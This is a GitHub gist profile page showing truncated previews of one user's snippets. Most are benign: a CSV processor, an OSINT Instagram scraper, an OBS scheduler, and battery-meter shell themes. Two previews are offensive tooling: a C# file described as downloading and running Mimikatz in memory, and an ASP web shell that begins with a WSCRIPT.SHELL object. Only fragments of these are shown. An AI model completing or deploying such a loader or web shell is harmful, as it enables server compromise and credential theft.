Skip to content

Instantly share code, notes, and snippets.

View aaarghhh's full-sized avatar

Giacomo Giallombardo aaarghhh

View GitHub Profile
@aaarghhh
aaarghhh / telepangulate.py
Last active October 15, 2022 21:26
A simple class to process Telepathy CSV outuput
import pandas as pd
from os.path import exists, basename
import sys
class TelepathAngulate:
df1 = None
df2 = None
sub1 = None
filename = ""
@aaarghhh
aaarghhh / instagram_user_information.py
Created September 14, 2022 21:52 — forked from GONZOsint/instagram_user_information.py
Script to obtain Instagram user informaption
import requests
import re
import sys
import json
def obtain_ids(user):
response = requests.get('https://www.instagram.com/' + user)
appid = re.search('appId":"(\d*)', response.text)[1]
serverid = re.search('server_revision":(\d*)', response.text)[1]
@aaarghhh
aaarghhh / gist:2d2cdcd5e47d84e848b70fe4dd772cd6
Created January 5, 2020 10:13
obswebsocket + APSScheduler POC
from apscheduler.schedulers.background import BackgroundScheduler
from apscheduler.jobstores.sqlalchemy import SQLAlchemyJobStore
from apscheduler.jobstores.memory import MemoryJobStore
from apscheduler.executors.pool import ProcessPoolExecutor, ThreadPoolExecutor
from obswebsocket import obsws, requests
from pytz import utc
import os
import atexit
def createOBSWS():
@aaarghhh
aaarghhh / netkatz.cs
Created May 26, 2019 17:00 — forked from Ridter/netkatz.cs
Downloads and Executes Mimikatz In Memory From GitHub
using System;
using System.IO;
using System.Net;
using System.Text;
using System.IO.Compression;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;
@aaarghhh
aaarghhh / zhell.asp
Created April 10, 2019 14:08
Old dirty asp wshell copypasted from waybackmachine
<!--
Working on latest IIS
Referance :-
-->
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
@aaarghhh
aaarghhh / zelda-heart.zsh-theme
Last active March 21, 2019 14:10
Supersimple ZSH theme for Debian Boxes to display the battery level before currentpath. Developed from the IDEA of @davidcelis and the fork of his script for MACOS
local BATTERY="$(upower -i /org/freedesktop/UPower/devices/battery_BAT0 | grep --color=never -E "percent$
local hearth="%{$fg_bold[red]%}♥♥♥"
if [[ $BATTERY -lt 25 ]]; then
hearth="%{$fg_bold[red]%}"
elif [[ $BATTERY -lt 50 ]]; then
hearth="%{$fg_bold[red]%}♥"
elif [[ $BATTERY -lt 75 ]]; then
hearth="%{$fg_bold[red]%}♥♥"
else
@aaarghhh
aaarghhh / zelda-battery.sh
Last active March 21, 2019 14:04 — forked from davidcelis/zelda-battery.sh
Output a Zelda-style heart meter for your Debian BOX battery level. Forked from On the command line. Based on an idea from @stephencelis, executed by myself. For a tmux version, see https://gist.github.com/4324139
#!/usr/bin/env zsh
#
# Works best with blinking text; the last heart will blink
# when you have less than 25% of your battery life remaining.
BATTERY="$(upower -i /org/freedesktop/UPower/devices/battery_BAT0 | grep --color=never -E "percentage" | sed 's/[^0-9]*//g')"
if [[ $BATTERY -lt 25 ]]; then
echo "\e[5;31m♥\e[0;31m♡♡\e[0m"
elif [[ $BATTERY -lt 50 ]]; then